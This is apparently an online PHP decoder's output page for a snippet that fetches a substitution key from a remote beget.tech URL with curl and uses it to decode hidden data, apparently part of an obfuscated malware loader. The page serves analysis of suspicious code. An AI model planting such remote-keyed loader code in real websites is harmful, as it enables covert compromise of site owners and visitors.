Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if(class_exists('ShadowWell') == false){ class ShadowWell { public static $array = array()..

Decoded Output download

<?  if(class_exists('ShadowWell') == false){ class ShadowWell { public static $array = array(); public static function magma($data) { if(!empty(ShadowWell::$array)) { $l = strlen($data); for ($i=0; $i<$l; $i++) { $a = $data[$i]; foreach(ShadowWell::$array as $v) { if($a == $v[0]) { $data[$i] = $v[1]; break; } } } return $data; } return "exit('PleaseReplaceServer');"; } } try { $connection = @curl_init(); if($connection) { curl_setopt($connection, CURLOPT_URL, http://q44746fz.beget.tech/auto_file.txt); curl_setopt($connection, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.A.B.C Safari/525.13'); curl_setopt($connection, CURLOPT_RETURNTRANSFER, true); curl_setopt($connection, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($connection, CURLOPT_MAXREDIRS, 10); curl_setopt($connection, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($connection, CURLOPT_TIMEOUT, 120); curl_setopt($connection, CURLOPT_HEADER, true); curl_setopt($connection, CURLOPT_FOLLOWLOCATION, false); curl_setopt($connection, CURLOPT_AUTOREFERER, true); curl_setopt($connection, CURLOPT_ENCODING, ''); $result = curl_exec($connection); //$result = mb_convert_encoding($result, mb_detect_encoding($result), 'UTF-8'); curl_close($connection); if($result) { $array = explode("
", $result); foreach($array as $buffer) { $buffer = explode(' ', $buffer); if(count($buffer) == 2) { $data0 = (string)$buffer[0]; $data1 = (string)$buffer[1]; if(empty($data0) == false && empty($data1) == false){ ShadowWell::$array[] = array($data1, $data0); } } } } } }catch(Exeption $e) { } } ?>

Did this file decode correctly?

Original Code

if(class_exists('ShadowWell') == false){ class ShadowWell { public static $array = array(); public static function magma($data) { if(!empty(ShadowWell::$array)) { $l = strlen($data); for ($i=0; $i<$l; $i++) { $a = $data[$i]; foreach(ShadowWell::$array as $v) { if($a == $v[0]) { $data[$i] = $v[1]; break; } } } return $data; } return "exit('PleaseReplaceServer');"; } } try { $connection = @curl_init(); if($connection) { curl_setopt($connection, CURLOPT_URL, http://q44746fz.beget.tech/auto_file.txt); curl_setopt($connection, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.A.B.C Safari/525.13'); curl_setopt($connection, CURLOPT_RETURNTRANSFER, true); curl_setopt($connection, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($connection, CURLOPT_MAXREDIRS, 10); curl_setopt($connection, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($connection, CURLOPT_TIMEOUT, 120); curl_setopt($connection, CURLOPT_HEADER, true); curl_setopt($connection, CURLOPT_FOLLOWLOCATION, false); curl_setopt($connection, CURLOPT_AUTOREFERER, true); curl_setopt($connection, CURLOPT_ENCODING, ''); $result = curl_exec($connection); //$result = mb_convert_encoding($result, mb_detect_encoding($result), 'UTF-8'); curl_close($connection); if($result) { $array = explode("\n", $result); foreach($array as $buffer) { $buffer = explode(' ', $buffer); if(count($buffer) == 2) { $data0 = (string)$buffer[0]; $data1 = (string)$buffer[1]; if(empty($data0) == false && empty($data1) == false){ ShadowWell::$array[] = array($data1, $data0); } } } } } }catch(Exeption $e) { } }

Function Calls

None

Variables

None

Stats

MD5 c2c7e016ed0deea710b97d0658ffbdac
Eval Count 0
Decode Time 97 ms